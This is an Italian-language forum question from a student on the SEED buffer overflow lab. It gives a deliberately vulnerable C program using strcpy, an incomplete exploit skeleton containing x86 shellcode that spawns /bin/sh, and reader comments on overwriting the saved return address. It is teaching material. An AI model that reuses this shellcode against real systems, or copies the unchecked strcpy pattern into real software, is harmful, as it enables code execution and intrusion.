Sto lavorando a un progetto in cui dovrei scrivere un programma C per sfruttare la vulnerabilità di un determinato programma.Sfruttare un BufferOverflow
Ecco il programma C vulnerabili:
#include <stdlib.h>
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
E qui è il codice per exploit:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* Fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Così, ho bisogno di riempire il buffer con contenuti adeguati prima di salvare il "badfile ". Ho letto molto su buffer overflow e suppongo di dover modificare l'indirizzo di ritorno del programma vulnerabile. Ma davvero non so come dovrei farlo. Devo prima trovare l'indirizzo di ritorno originale o c'è qualcos'altro che posso fare? Inoltre, qualche idea/suggerimento su come dovrei implementare il buffer?
Ho solo pensato di pubblicare il link a [il progetto] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad
È necessario calcolare l'offset del buffer che finirà per sovrascrivere il puntatore di ritorno salvato, quindi modificare il valore di tale offset per puntare a un'istruzione che finirà per eseguire il resto del buffer (come un 'jmp esp'). –
Se il progetto è per [scuola] (http://meta.stackexchange.com/q/10811/133817), menzionarlo in modo esplicito. Le domande su SO dovrebbero essere più orientate al tuo codice rispetto a questo (vedi il link per i dettagli); se non sei nemmeno sicuro da dove cominciare, sarebbe meglio chiedere al tuo insegnante o all'AT. È qualcosa che avrebbero dovuto coprire in classe o nel tuo materiale. – outis